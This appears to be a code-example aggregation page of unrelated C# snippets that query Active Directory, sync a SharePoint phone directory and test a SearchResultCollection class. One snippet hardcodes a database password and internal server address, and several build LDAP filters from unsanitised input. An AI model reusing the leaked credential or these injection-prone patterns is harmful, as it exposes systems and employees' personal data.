                DirectoryEntry    adRoot   = new DirectoryEntry("LDAP://" + domainController, userName, password);
                DirectorySearcher searcher = new DirectorySearcher(adRoot);
                searcher.SearchScope     = System.DirectoryServices.SearchScope.Subtree;
                searcher.ReferralChasing = ReferralChasingOption.All;
                searcher.Filter          = "(&(objectClass=user)(objectCategory=person))";
                searcher.PropertiesToLoad.Add("SAMAccountname");
                searcher.PageSize = 1000;

                try
                {
                    SearchResultCollection result = searcher.FindAll();
                    foreach (SearchResult a in result)
                    {
                        DirectoryEntry entry    = a.GetDirectoryEntry();
                        string         UserName = a.Properties["SAMAccountname"][0].ToString();
                        users.Add(UserName);
                    }
                }
                catch (Exception ex)
                {
                }
                finally
                {
                    adRoot.Dispose();
                    searcher.Dispose();
                }
                domainInfo.Users = users;

                domains[domainController] = users;
                #endregion
            }
            return(domainInfo);
        }
        private void HandleFlickrResult(object sender, DownloadStringCompletedEventArgs e)
        {
            // Different branch for success than failure
            if (e.Error == null)
            {
                // Get XML from the result string
                XDocument xmlResults = XDocument.Parse(e.Result);

                // Process reults using LINQ to XML
                var enumResults = from result in xmlResults.Descendants("photo")
                              select new SearchResult
                              {
                                   DateTaken = (DateTime)result.Attribute("datetaken"),
                                   // Description = ?,
                                   Location = MakeFlickrUrl(result),
                                   Title = (string)result.Attribute("title"),
                              };

                // Create a new collection containing all results
                SearchResultCollection results = new SearchResultCollection(enumResults);

                // Notify of results
                NotifyResult(new SearchCompleteEventArgs(results));
            }
            else
            {
                // Failure, notify
                NotifyResult(new SearchCompleteEventArgs(e.Error));
            }
        }
        public void CopyTo_InvalidIndex_TooBig()
        {
            SearchResultCollection collection = new SearchResultCollection();

            SearchResult[] results = new SearchResult[10];

            collection.CopyTo(results, 10);
        }
        public override void Execute(Guid targetInstanceId)
        {
            string webUrl = "https://portaladp/";

            using (SPWeb oWebsite = new SPSite(webUrl).OpenWeb())
            {
                oWebsite.AllowUnsafeUpdates = true;


                SPList lista = oWebsite.Lists["Directorio Telefónico AdP"];

                SPListItemCollection spcollLista  = lista.Items;
                SPListItemCollection spcollLista1 = lista.Items;


                List <Usuario>   listaUsuariosAD     = new List <Usuario>();
                List <Usuario>   listaUsuariosPortal = new List <Usuario>();
                DirectoryContext dc     = new DirectoryContext(DirectoryContextType.Domain, Environment.UserDomainName);
                Domain           domain = Domain.GetDomain(dc);
                DirectoryEntry   de     = domain.GetDirectoryEntry();

                DirectorySearcher deSearch = new DirectorySearcher(de);
                deSearch.Filter = "(&(objectClass=user)(objectCategory=person)(mail=*))";

                deSearch.PropertiesToLoad.Add("mail");
                SearchResult result = deSearch.FindOne();

                SearchResultCollection results = deSearch.FindAll();

                // Obtenemos todos los usuarios del AD
                foreach (SearchResult srUser in results)
                {
                    DirectoryEntry deUser = srUser.GetDirectoryEntry();

                    using (new SPMonitoredScope("Get displayName and company and l and title and facsimileTelephoneNumber and telephoneNumber and homePhone and mobile and objectClass From AD"))
                    {
                        Usuario user = new Usuario();
                        if (deUser.InvokeGet("displayName") == null)
                        {
                            user.displayName = "";
                        }
                        else
                        {
                            user.displayName = deUser.InvokeGet("displayName").ToString();
                        }

                        if (deUser.InvokeGet("company") == null)
                        {
                            user.company = "";
                        }
                        else
                        {
                            user.company = deUser.InvokeGet("company").ToString();
                        }

                        if (deUser.InvokeGet("L") == null)
                        {
                            user.l = "";
                        }
                        else
                        {
                            user.l = deUser.InvokeGet("l").ToString();
                        }

                        if (deUser.InvokeGet("title") == null)
                        {
                            user.title = "";
                        }
                        else
                        {
                            user.title = deUser.InvokeGet("title").ToString();
                        }
                        if (deUser.InvokeGet("facsimileTelephoneNumber") == null)
                        {
                            user.facsimileTelephoneNumber = "";
                        }
                        else
                        {
                            user.facsimileTelephoneNumber = deUser.InvokeGet("facsimileTelephoneNumber").ToString(); // anexo 513 nortel
                        }
                        if (deUser.InvokeGet("telephoneNumber") == null)
                        {
                            user.telephoneNumber = "";
                        }
                        else
                        {
                            user.telephoneNumber = deUser.InvokeGet("telephoneNumber").ToString(); // anexo 513 nortel
                        }
                        if (deUser.InvokeGet("homePhone") == null)
                        {
                            user.homePhone = "";
                        }
                        else
                        {
                            user.homePhone = deUser.InvokeGet("homePhone").ToString(); // cel completo
                        }
                        if (deUser.InvokeGet("mobile") == null)
                        {
                            user.mobile = "";
                        }
                        else
                        {
                            user.mobile = deUser.InvokeGet("mobile").ToString(); // rpm
                        }
                        if (deUser.InvokeGet("mail") == null)
                        {
                            user.mobile = "";
                        }
                        else
                        {
                            user.email = deUser.InvokeGet("mail").ToString();
                        }
                        // obtener DNI
                        if (deUser.InvokeGet("pager") == null)
                        {
                            user.pager = "";
                        }
                        else
                        {
                            user.pager = deUser.InvokeGet("pager").ToString();
                        }



                        listaUsuariosAD.Add(user);
                    }
                }

                // obtener usuarios Portal

                foreach (SPListItem item in spcollLista)
                {
                    Usuario user = new Usuario();
                    if (item["ows_Email"] == null || item["ows_Email"].ToString() == "")
                    {
                    }
                    else
                    {
                        if (item["ows_Title"] == null || item["ows_Title"].ToString() == "")
                        {
                            user.displayName = "";
                        }
                        else
                        {
                            user.displayName = item["ows_Title"].ToString();
                        }
                        //if (item["ows_Company"] == null || item["ows_Company"].ToString() == "")
                        //{
                        //    user.company = "";
                        //}
                        //else
                        //{
                        //    user.company = item["ows_Company"].ToString();
                        //}

                        if (item["ows_WorkPhone"] == null || item["ows_WorkPhone"].ToString() == "")
                        {
                            user.facsimileTelephoneNumber = "";
                        }
                        else
                        {
                            user.facsimileTelephoneNumber = item["ows_WorkPhone"].ToString();
                        }
                        if (item["ows_CellPhone"] == null || item["ows_CellPhone"].ToString() == "")
                        {
                            user.homePhone = "";
                        }
                        else
                        {
                            user.homePhone = item["ows_CellPhone"].ToString();
                        }
                        if (item["ows_HomePhone"] == null || item["ows_HomePhone"].ToString() == "")
                        {
                            user.mobile = "";
                        }
                        else
                        {
                            user.mobile = item["ows_HomePhone"].ToString();
                        }
                        if (item["ows_WorkCity"] == null || item["ows_WorkCity"].ToString() == "")
                        {
                            user.l = "";
                        }
                        else
                        {
                            user.l = item["ows_WorkCity"].ToString();
                        }
                        if (item["ows_JobTitle"] == null || item["ows_JobTitle"].ToString() == "")
                        {
                            user.title = "";
                        }
                        else
                        {
                            user.title = item["ows_JobTitle"].ToString();
                        }
                        if (item["ows_Email"] == null || item["ows_Email"].ToString() == "")
                        {
                            user.email = "";
                        }
                        else
                        {
                            user.email = item["ows_Email"].ToString();
                        }
                        listaUsuariosPortal.Add(user);
                        //DNI
                        if (item["ows_PagerNumber"] == null || item["ows_PagerNumber"].ToString() == "")
                        {
                            user.pager = "";
                        }
                        else
                        {
                            user.pager = item["ows_PagerNumber"].ToString();
                        }
                        listaUsuariosPortal.Add(user);
                    }
                }


                // Actualiza todos los Items de la Lista DIrectorio Telefonico!
                foreach (Usuario user in listaUsuariosAD)
                {
                    foreach (SPListItem item in spcollLista)
                    {
                        if (item["ows_Email"] == null || item["ows_Email"].ToString() == "")
                        {
                        }
                        else
                        {
                            if (string.Compare(user.email.ToString(), item["ows_Email"].ToString(), true) == 0)
                            {
                                if (item["ows_Title"] == null || item["ows_Title"].ToString() != user.displayName.ToString())
                                {
                                    item["ows_Title"] = user.displayName.ToString(); // Nombre
                                    item.Update();
                                }
                                //if (item["ows_Company"] == null || item["ows_Company"].ToString() != user.company.ToString())
                                //{
                                //    item["ows_Company"] = user.company.ToString(); // Empresa
                                //    item.Update();
                                //}

                                if (item["ows_WorkPhone"] == null || item["ows_WorkPhone"].ToString() != user.facsimileTelephoneNumber.ToString())
                                {
                                    if (user.facsimileTelephoneNumber != "" && user.telephoneNumber != "")
                                    {
                                        item["ows_WorkPhone"] = user.facsimileTelephoneNumber.ToString() + " / " + user.telephoneNumber.ToString(); // Fijo
                                        item.Update();
                                    }
                                    else if (user.facsimileTelephoneNumber != "" && user.telephoneNumber == "")
                                    {
                                        item["ows_WorkPhone"] = user.facsimileTelephoneNumber.ToString(); // Fijo
                                        item.Update();
                                    }
                                    else if (user.facsimileTelephoneNumber == "" && user.telephoneNumber != "")
                                    {
                                        item["ows_WorkPhone"] = user.telephoneNumber.ToString(); // Fijo
                                        item.Update();
                                    }
                                }

                                if (item["ows_CellPhone"] == null || item["ows_CellPhone"].ToString() != user.homePhone.ToString())
                                {
                                    item["ows_CellPhone"] = user.homePhone.ToString(); // movil
                                    item.Update();
                                }

                                if (item["ows_HomePhone"] == null || item["ows_HomePhone"].ToString() != user.mobile.ToString())
                                {
                                    item["ows_HomePhone"] = user.mobile.ToString(); // rpm
                                    item.Update();
                                }
                                //if (item["ows_WorkCity"] == null || item["ows_WorkCity"].ToString() != user.l.ToString())
                                //{
                                //    item["ows_WorkCity"] = user.l.ToString(); // ubicacion
                                //    item.Update();
                                //}
                                if (item["ows_JobTitle"] == null || item["ows_JobTitle"].ToString() != user.title.ToString())
                                {
                                    item["ows_JobTitle"] = user.title.ToString(); // cargo
                                    item.Update();
                                }

                                if (item["ows_PagerNumber"] == null || item["ows_PagerNumber"].ToString() != user.pager.ToString())
                                {
                                    item["ows_PagerNumber"] = user.pager.ToString(); // DNI
                                    item.Update();
                                }
                                break;
                            }
                        }
                    }
                }

                // Capturamos los datos de la lista [Lista de Trabajadores] de RRHH
                String        sSel = "select DNI,PUESTO_TRABAJO from V_TrabajadoresADP";
                SqlConnection sCnn =
                    new SqlConnection("data source = 192.168.57.19; initial catalog = OFIPLAN; user id = sharepoint; password = 5h4r3p01nt#");

                SqlDataAdapter da = new SqlDataAdapter(sSel, sCnn);
                DataTable      dt = new DataTable();

                da.Fill(dt);

                List <Usuario> usuarios = new List <Usuario>();

                foreach (DataRow dr in dt.Rows)
                {
                    Usuario usuario = new Usuario();
                    string  DNI     = (string)dr["DNI"];
                    string  Puesto  = (string)dr["PUESTO_TRABAJO"];

                    usuario.pager = DNI;
                    usuario.title = Puesto;

                    usuarios.Add(usuario);
                }


                // Actualiza todos los cargos de la Lista DIrectorio Telefonico!

                try
                {
                    foreach (Usuario user in usuarios)
                    {
                        foreach (SPListItem item in spcollLista)
                        {
                            if (item["ows_Email"] == null || item["ows_Email"].ToString() == "")
                            {
                            }
                            else
                            {
                                if (item["ows_PagerNumber"] != null)
                                {
                                    if (string.Compare(user.pager.ToString().Trim(), item["ows_PagerNumber"].ToString().Trim(), true) == 0)
                                    {
                                        if (item["ows_JobTitle"] == null || item["ows_JobTitle"].ToString() != user.title.ToString())
                                        {
                                            item["ows_JobTitle"] = user.title.ToString();     // cargo
                                            item.Update();
                                        }
                                    }
                                }
                            }
                        }
                    }
                }
                catch (Exception ex)
                {
                    // error creating job
                    using (EventLog eventLog = new EventLog("Application"))
                    {
                        eventLog.Source = "Application";
                        eventLog.WriteEntry("Error en actualización: " + ex.Message.ToString() + " \n " + ex.Data.ToString(), EventLogEntryType.Error, 6666, 1);
                    }
                }


                foreach (Usuario user in listaUsuariosAD)
                {
                    if (user.email.ToString() != "")
                    {
                        if ((verificarExiste(user.email.ToString(), listaUsuariosPortal) == false) && (user.telephoneNumber != "" || user.facsimileTelephoneNumber != "" || user.homePhone != "" || user.mobile != ""))
                        //if ((verificarExiste(user.email.ToString(), listaUsuariosPortal) == false) )
                        {
                            SPListItem item1 = spcollLista.Add();

                            item1["ows_Title"] = user.displayName.ToString();
                            //item1["ows_Company"] = user.company.ToString();
                            if (user.facsimileTelephoneNumber != "" && user.telephoneNumber != "")
                            {
                                item1["ows_WorkPhone"] = user.facsimileTelephoneNumber.ToString() + " / " + user.telephoneNumber.ToString(); // Fijo
                            }
                            else if (user.facsimileTelephoneNumber != "" && user.telephoneNumber == "")
                            {
                                item1["ows_WorkPhone"] = user.facsimileTelephoneNumber.ToString(); // Fijo
                            }
                            else if (user.facsimileTelephoneNumber == "" && user.telephoneNumber != "")
                            {
                                item1["ows_WorkPhone"] = user.telephoneNumber.ToString(); // Fijo
                            }

                            item1["ows_CellPhone"] = user.homePhone.ToString();
                            item1["ows_HomePhone"] = user.mobile.ToString();
                            //item1["ows_WorkCity"] = user.l.ToString();
                            //item1["ows_JobTitle"] = user.title.ToString();
                            item1["ows_Email"]       = user.email.ToString();
                            item1["ows_PagerNumber"] = user.pager.ToString();
                            item1.Update();
                        }
                        else
                        {
                        }
                    }
                    else
                    {
                    }
                }
                oWebsite.AllowUnsafeUpdates = false;
            }
        }
示例#38
0
    } // end RetObjValues()

    /// <summary>
    /// Query of group objects and its properties
    /// </summary>
    /// <param name="objContentMsg"></param>
    /// <param name="retval"></param>
    /// <param name="objContentNO"></param>
    /// <param name="adgrpin"></param>
    /// <returns>object that reflects the queried group object</returns>
    public ADgroupobjInfo RetGroupValues(ref string objContentMsg, out int retval, out int objContentNO, ADgroupobjInfo adgrpin)
    {
        retval = 0;
        string objfilter = "";
        var    adgrp     = new ADgroupobjInfo();

        objfilter = "(&(objectClass=group)(distinguishedName=" + adgrpin.DistinguishedName + "))";

        try
        {
            string[] myProps = new string[] { "distinguishedName", "cn", "managedBy", "mail", "samAccountName",
                                              "description", "notes", "memberOf", "displayName ", "member", "memberOf" };

            using (DirectoryEntry entry = new DirectoryEntry(rootDSE))
                using (DirectorySearcher mySearcher = new DirectorySearcher(entry, objfilter, myProps))
                {
                    using (SearchResultCollection result = mySearcher.FindAll())
                    {
                        if (result.Count > 0)
                        {
                            foreach (SearchResult rs in result)
                            {
                                ResultPropertyValueCollection memberCollection = rs.Properties["member"];
                                adgrp.Member = new List <string>();

                                if ((String.IsNullOrEmpty(memberCollection.ToString())))
                                {
                                    adgrp.Member.Add("");
                                }
                                else
                                {
                                    if (memberCollection.Count > 0)
                                    {
                                        for (int j = 0; j < memberCollection.Count; j++)
                                        {
                                            adgrp.Member.Add(memberCollection[j].ToString());
                                        }
                                    }
                                    else
                                    {
                                        adgrp.Member.Add("");
                                    }
                                }

                                ResultPropertyValueCollection memberOfCollection = rs.Properties["memberOf"];
                                adgrp.MemberOf = new List <string>();

                                if ((String.IsNullOrEmpty(memberOfCollection.ToString())))
                                {
                                    adgrp.MemberOf.Add("");
                                }
                                else
                                {
                                    if (memberOfCollection.Count > 0)
                                    {
                                        for (int j = 0; j < memberOfCollection.Count - 1; j++)
                                        {
                                            adgrp.MemberOf.Add(memberOfCollection[j].ToString());
                                        }
                                    }
                                    else
                                    {
                                        adgrp.MemberOf.Add("");
                                    }
                                }

                                adgrp.DistinguishedName = rs.Properties["distinguishedName"][0].ToString();
                                adgrp.SamAccountName    = rs.Properties["SamAccountName"][0].ToString();
                                adgrp.CN = rs.Properties["cn"][0].ToString();

                                if ((String.IsNullOrEmpty(rs.Properties["description"].ToString())))
                                {
                                    adgrp.Description = "";
                                }
                                else
                                {
                                    if (rs.Properties["description"].Count > 0)
                                    {
                                        adgrp.Description = rs.Properties["description"][0].ToString();
                                    }
                                    else
                                    {
                                        adgrp.Description = "";
                                    }
                                }

                                if ((String.IsNullOrEmpty(rs.Properties["notes"].ToString())))
                                {
                                    adgrp.Notes = "";
                                }
                                else
                                {
                                    if (rs.Properties["notes"].Count > 0)
                                    {
                                        adgrp.Notes = rs.Properties["notes"][0].ToString();
                                    }
                                    else
                                    {
                                        adgrp.Notes = "";
                                    }
                                }

                                if ((String.IsNullOrEmpty(rs.Properties["displayName"].ToString())))
                                {
                                    adgrp.DisplayName = "";
                                }
                                else
                                {
                                    if (rs.Properties["displayName"].Count > 0)
                                    {
                                        adgrp.DisplayName = rs.Properties["displayName"][0].ToString();
                                    }
                                    else
                                    {
                                        adgrp.DisplayName = "";
                                    }
                                }

                                if ((String.IsNullOrEmpty(rs.Properties["mail"].ToString())))
                                {
                                    adgrp.Mail = "";
                                }
                                else
                                {
                                    if (rs.Properties["mail"].Count > 0)
                                    {
                                        adgrp.Mail = rs.Properties["mail"][0].ToString();
                                    }
                                    else
                                    {
                                        adgrp.Mail = "";
                                    }
                                }

                                if ((String.IsNullOrEmpty(rs.Properties["managedBy"].ToString())))
                                {
                                    adgrp.ManagedBy = "";
                                }
                                else
                                {
                                    if (rs.Properties["managedBy"].Count > 0)
                                    {
                                        adgrp.ManagedBy = rs.Properties["managedBy"][0].ToString();
                                    }
                                    else
                                    {
                                        adgrp.ManagedBy = "";
                                    }
                                }
                            }

                            objContentNO  = 1;
                            objContentMsg = "ok";
                        }
                        else
                        {
                            objContentMsg = "Searched object not found: " + adgrpin.DistinguishedName;
                            objContentNO  = 0;
                        }
                    }
                }

            retval = 0;
        }

        catch (Exception ex)
        {
            objContentMsg += ex.Message + "\n" + ex.StackTrace;
            objContentNO   = 0;
            retval         = 1;
        }

        return(adgrp);
    } // end  public List<ADgroupobjInfo> RetGroupValues
        public void CopyTo_ArrayTooSmall()
        {
            SearchResultCollection collection = new SearchResultCollection();

            SearchResult res = new SearchResult(MockDocument("d", "d", "d", DateTime.Now));
            SearchResult res2 = new SearchResult(MockDocument("d2", "d", "d", DateTime.Now));

            collection.Add(res);
            collection.Add(res2);

            SearchResult[] results = new SearchResult[1];

            collection.CopyTo(results, 0);
        }
示例#40
0
    static void Main(string[] args)
    {
        // TODO - read ADPath from args, config, or prompting
        Log("AD Exploratory Program");
        Log();

        Log($"Creating AD node object using path {ADPath}");
        DirectoryEntry deNode = new DirectoryEntry(ADPath);

        Log($"Loaded {deNode.Name}", ConsoleColor.Cyan);
        Log();

        Log($"Finding path for {Alias}");
        DirectorySearcher searcher = new DirectorySearcher(deNode);

        searcher.Filter = "(mailNickname=" + Alias + ")";
        searcher.PropertiesToLoad.Clear();
        searcher.PropertiesToLoad.Add("distinguishedName");

        SearchResultCollection results = searcher.FindAll();

        var userLdapPath = results?[0].Properties["distinguishedName"][0];
        var user         = new DirectoryEntry($"GC://{userLdapPath}");

        Log($"Found LDAP path {userLdapPath}", ConsoleColor.Cyan);

        Log($"User information:", ConsoleColor.Cyan);

        int maxPropesToList = 10;
        int propsListed     = 0;

        foreach (var name in user.Properties.PropertyNames)
        {
            if (propsListed++ >= maxPropesToList)
            {
                break;
            }
            if (propsListed == 1)
            {
                continue;
            }
            var value = user.Properties[name.ToString()];
            if (value.Count == 1)
            {
                Log($"{name}: {value.Value.ToString()}", ConsoleColor.DarkGray);
            }
            if (value.Count > 1)
            {
                Log($"{name}:", ConsoleColor.DarkGray);
                foreach (var val in value)
                {
                    Log($"\t\t{val.ToString()}", ConsoleColor.DarkGray);
                }
            }
            //Log($"{name}: {.Value ?? ")
        }

        Log();

        Log("Searching for user's management chain");
        var managementChain = GetManagementChain(user);

        Log($"  {string.Join(" -> ", managementChain.Select(de => de.Properties["mailNickname"].Value.ToString()))}", ConsoleColor.Cyan);

        Log("Finding user's group memberships");
        var groups = user.Properties["memberOf"];

        Log($"Found {groups.Count} memberships", ConsoleColor.Cyan);
        foreach (var group in groups)
        {
            Log(group.ToString(), ConsoleColor.DarkCyan);
        }

        Log();
        Log("- Done -");
    }
        public void CopyTo_InvalidIndex_Negative()
        {
            SearchResultCollection collection = new SearchResultCollection();

            SearchResult[] results = new SearchResult[10];

            collection.CopyTo(results, -1);
        }
示例#42
0
        private void txtBoxObject_TextChanged(object sender, EventArgs e)
        {
            tvResults.Nodes.Clear();
            int qrySize = txtBoxObject.Text.Count();

            this.Text = "Seeking for: " + txtBoxObject.Text;
            if ((txtBoxObject.Text != string.Empty) & (txtBoxObject.Text.Trim().Count() >= 3))
            {
                tvResults.Nodes.Clear();

                //Seek Users---------------------------------------------------------
                Thread thloadAdUsers = new Thread(() =>
                {
                    try
                    {
                        if (txtBoxObject.Text.Count() == qrySize)
                        {
                            this.Invoke((MethodInvoker) delegate { tSUsers.Image = Seeker.Properties.Resources.smallPBarGreen; });
                            Thread.CurrentThread.Name = "thloadAdUsers";

                            TreeNode tGrpNodeUsers = new TreeNode();

                            if ((!tvResults.Nodes.ContainsKey("users")) & (txtBoxObject.Text.Count() == qrySize)) // & (!txtBoxObject.Text.Contains("(Insira pelo menos 3 Caracteres)")))
                            {
                                tGrpNodeUsers.Name               = "users";
                                tGrpNodeUsers.Text               = "Users";
                                tGrpNodeUsers.ImageIndex         = 0;
                                tGrpNodeUsers.SelectedImageIndex = 0;
                                this.Invoke((MethodInvoker) delegate { tvResults.Nodes.Add(tGrpNodeUsers); });
                            }

                            int contUsers  = 1;
                            var usersItems = new List <TreeNode>();

                            dLibAd searchUsers = new dLibAd();
                            using (PrincipalSearchResult <Principal> results = searchUsers.GetADUser(new PrincipalContext(ContextType.Domain, frmMain.domainAccountData[0], frmMain.domainAccountData[1], frmMain.domainAccountData[2]), txtBoxObject.Text.Trim()))
                            {
                                foreach (var foundUser in results)
                                {
                                    if (txtBoxObject.Text.Count() == qrySize)
                                    {
                                        if (foundUser != null)
                                        {
                                            this.Invoke((MethodInvoker) delegate
                                            {
                                                TreeNode tGrpNode           = new TreeNode();
                                                tGrpNode.Text               = foundUser.DisplayName + "," + foundUser.SamAccountName;
                                                tGrpNode.ImageIndex         = 1;
                                                tGrpNode.SelectedImageIndex = 2;
                                                //tGrpNodeUsers.Nodes.Add(tGrpNode);
                                                usersItems.Add(tGrpNode);
                                                tGrpNodeUsers.Text = "Users(" + contUsers++ + ")";
                                            });
                                        }
                                    }
                                    else
                                    {
                                        this.Invoke((MethodInvoker) delegate { tSUsers.Image = new Bitmap(1, 1); });
                                        Thread.CurrentThread.Abort();
                                    }
                                    foundUser.Dispose();
                                }
                                this.Invoke((MethodInvoker) delegate
                                {
                                    TreeNode[] arr = usersItems.ToArray();
                                    tvResults.BeginUpdate();
                                    tGrpNodeUsers.Nodes.AddRange(arr);
                                    tvResults.EndUpdate();
                                    this.Invoke((MethodInvoker) delegate { tSUsers.Image = new Bitmap(1, 1); });
                                });
                            }
                        }
                        else
                        {
                            this.Invoke((MethodInvoker) delegate { tSUsers.Image = new Bitmap(1, 1); });
                            Thread.CurrentThread.Abort();
                        }
                    }
                    catch
                    {
                        Thread.CurrentThread.Abort();
                    }
                });

                //-------------------------------------------------------------

                // Seek Computers ---------------------------------------------
                Thread thloadAdComputers = new Thread(() =>
                {
                    try
                    {
                        if (txtBoxObject.Text.Count() == qrySize)
                        {
                            this.Invoke((MethodInvoker) delegate { tSComputers.Image = Seeker.Properties.Resources.smallPBarBlue; });
                            Thread.CurrentThread.Name = "thloadAdComputers";


                            TreeNode tGrpNodeComputers = new TreeNode();

                            if ((!tvResults.Nodes.ContainsKey("computers")) & (txtBoxObject.Text.Count() == qrySize)) //& (!txtBoxObject.Text.Contains("(Insira pelo menos 3 Caracteres)")))
                            {
                                tGrpNodeComputers.Name               = "computers";
                                tGrpNodeComputers.Text               = "Computers";
                                tGrpNodeComputers.ImageIndex         = 3;
                                tGrpNodeComputers.SelectedImageIndex = 3;
                                this.Invoke((MethodInvoker) delegate { tvResults.Nodes.Add(tGrpNodeComputers); });
                            }

                            int contComputers      = 1;
                            var computersItems     = new List <TreeNode>();
                            dLibAd searchComputers = new dLibAd();
                            using (PrincipalSearchResult <Principal> resultsComputers = searchComputers.GetADComputer(new PrincipalContext(ContextType.Domain, frmMain.domainAccountData[0], frmMain.domainAccountData[1], frmMain.domainAccountData[2]), txtBoxObject.Text.Trim()))
                            {
                                foreach (var foundComputer in resultsComputers)
                                {
                                    if (txtBoxObject.Text.Count() == qrySize)
                                    {
                                        if (foundComputer != null)
                                        {
                                            try
                                            {
                                                this.Invoke((MethodInvoker) delegate
                                                {
                                                    TreeNode tGrpNode           = new TreeNode();
                                                    tGrpNode.Text               = foundComputer.SamAccountName.Substring(0, foundComputer.SamAccountName.Length - 1) + "," + foundComputer.DisplayName;
                                                    tGrpNode.ImageIndex         = 4;
                                                    tGrpNode.SelectedImageIndex = 5;
                                                    //tGrpNodeComputers.Nodes.Add(tGrpNode);
                                                    computersItems.Add(tGrpNode);
                                                    tGrpNodeComputers.Text = "Computers(" + contComputers++ + ")";
                                                });
                                            }
                                            catch { }
                                        }
                                    }
                                    else
                                    {
                                        this.Invoke((MethodInvoker) delegate { tSComputers.Image = new Bitmap(1, 1); });
                                        Thread.CurrentThread.Abort();
                                    }
                                    foundComputer.Dispose();
                                }
                            }
                            this.Invoke((MethodInvoker) delegate
                            {
                                //Stopwatch testTime = new Stopwatch();
                                TreeNode[] arr = computersItems.ToArray();

                                //testTime.Start();
                                tvResults.BeginUpdate();
                                //foreach (ListViewItem item in items)
                                tGrpNodeComputers.Nodes.AddRange(arr);
                                tvResults.EndUpdate();
                                arr            = null;
                                computersItems = null;
                                //testTime.Stop();
                                this.Invoke((MethodInvoker) delegate { tSComputers.Image = new Bitmap(1, 1); });
                            });
                        }
                        else
                        {
                            this.Invoke((MethodInvoker) delegate { tSComputers.Image = new Bitmap(1, 1); });
                            Thread.CurrentThread.Abort();
                        }
                    }
                    catch
                    {
                        Thread.CurrentThread.Abort();
                    }
                });

                //-------------------------------------------------------------



                //Seek Groups---------------------------------------------------------
                Thread thloadAdGroups = new Thread(() =>
                {
                    try
                    {
                        if (txtBoxObject.Text.Count() == qrySize)
                        {
                            this.Invoke((MethodInvoker) delegate { tSGroups.Image = Seeker.Properties.Resources.smallPbarYellow; });
                            Thread.CurrentThread.Name = "thloadAdGroups";

                            TreeNode tGrpNodeGroups = new TreeNode();

                            if ((!tvResults.Nodes.ContainsKey("groups")) & (txtBoxObject.Text.Count() == qrySize))
                            {
                                tGrpNodeGroups.Name               = "groups";
                                tGrpNodeGroups.Text               = "Groups";
                                tGrpNodeGroups.ImageIndex         = 9;
                                tGrpNodeGroups.SelectedImageIndex = 9;
                                this.Invoke((MethodInvoker) delegate { tvResults.Nodes.Add(tGrpNodeGroups); });
                            }

                            int contGroups      = 1;
                            var groupsItems     = new List <TreeNode>();
                            dLibAd searchGroups = new dLibAd();
                            using (PrincipalSearchResult <Principal> results = searchGroups.GetADGroup(new PrincipalContext(ContextType.Domain, frmMain.domainAccountData[0], frmMain.domainAccountData[1], frmMain.domainAccountData[2]), txtBoxObject.Text.Trim(), false))
                            {
                                foreach (var foundGroup in results)
                                {
                                    if (txtBoxObject.Text.Count() == qrySize)
                                    {
                                        if (foundGroup != null)
                                        {
                                            this.Invoke((MethodInvoker) delegate
                                            {
                                                TreeNode tGrpNode           = new TreeNode();
                                                tGrpNode.Text               = foundGroup.SamAccountName;
                                                tGrpNode.ImageIndex         = 10;
                                                tGrpNode.SelectedImageIndex = 11;
                                                //tGrpNodeGroups.Nodes.Add(tGrpNode);
                                                groupsItems.Add(tGrpNode);
                                                tGrpNodeGroups.Text = "Groups(" + contGroups++ + ")";
                                            });
                                        }
                                    }
                                    else
                                    {
                                        this.Invoke((MethodInvoker) delegate { tSGroups.Image = new Bitmap(1, 1); });
                                        Thread.CurrentThread.Abort();
                                    }
                                    foundGroup.Dispose();
                                }
                                this.Invoke((MethodInvoker) delegate
                                {
                                    TreeNode[] arr = groupsItems.ToArray();
                                    tvResults.BeginUpdate();
                                    tGrpNodeGroups.Nodes.AddRange(arr);
                                    tvResults.EndUpdate();
                                    this.Invoke((MethodInvoker) delegate { tSGroups.Image = new Bitmap(1, 1); });
                                });
                            }
                        }
                        else
                        {
                            this.Invoke((MethodInvoker) delegate { tSGroups.Image = new Bitmap(1, 1); });
                            Thread.CurrentThread.Abort();
                        }
                    }
                    catch
                    {
                        Thread.CurrentThread.Abort();
                    }
                });

                //-------------------------------------------------------------

                //Seek OUS---------------------------------------------------------
                Thread thloadAdOUS = new Thread(() =>
                {
                    try
                    {
                        if (txtBoxObject.Text.Count() == qrySize)
                        {
                            this.Invoke((MethodInvoker) delegate { tSOUs.Image = Seeker.Properties.Resources.smallPbarYellow; });
                            Thread.CurrentThread.Name = "thloadAdOUS";
                            DirectoryEntry deBase     = new DirectoryEntry("LDAP://" + frmMain.domainAccountData[0], frmMain.domainAccountData[1], frmMain.domainAccountData[2]);

                            string sanitizedOU = txtBoxObject.Text;
                            sanitizedOU        = Regex.Replace(sanitizedOU, @"[^\w\.@-]", "Seeker",

                                                               RegexOptions.None);


                            TreeNode tGrpNodeOus = new TreeNode();

                            if ((!tvResults.Nodes.ContainsKey("ous")) & (txtBoxObject.Text.Count() == qrySize))
                            {
                                tGrpNodeOus.Name               = "ous";
                                tGrpNodeOus.Text               = "OU's";
                                tGrpNodeOus.ImageIndex         = 13;
                                tGrpNodeOus.SelectedImageIndex = 13;
                                this.Invoke((MethodInvoker) delegate { tvResults.Nodes.Add(tGrpNodeOus); });
                            }

                            int contGroups   = 1;
                            var ousItems     = new List <TreeNode>();
                            dLibAd searchOus = new dLibAd();
                            using (SearchResultCollection l = searchOus.GetADOu(deBase, sanitizedOU))
                            {
                                foreach (SearchResult foundOu in l)
                                {
                                    if (txtBoxObject.Text.Count() == qrySize)
                                    {
                                        if (foundOu != null)
                                        {
                                            this.Invoke((MethodInvoker) delegate
                                            {
                                                TreeNode tGrpNode           = new TreeNode();
                                                tGrpNode.Text               = tGrpNode.Text = foundOu.Properties["name"][0].ToString() + "-" + foundOu.Properties["distinguishedName"][0].ToString();
                                                tGrpNode.Tag                = foundOu.Properties["distinguishedName"][0].ToString();
                                                tGrpNode.ImageIndex         = 14;
                                                tGrpNode.SelectedImageIndex = 15;
                                                //tGrpNodeOus.Nodes.Add(tGrpNode);
                                                ousItems.Add(tGrpNode);
                                                tGrpNodeOus.Text = "OU's(" + contGroups++ + ")";
                                            });
                                        }
                                    }
                                    else
                                    {
                                        this.Invoke((MethodInvoker) delegate { tSOUs.Image = new Bitmap(1, 1); });
                                        Thread.CurrentThread.Abort();
                                    }
                                }
                            }
                            this.Invoke((MethodInvoker) delegate
                            {
                                TreeNode[] arr = ousItems.ToArray();
                                tvResults.BeginUpdate();
                                tGrpNodeOus.Nodes.AddRange(arr);
                                tvResults.EndUpdate();
                                this.Invoke((MethodInvoker) delegate { tSOUs.Image = new Bitmap(1, 1); });
                            });
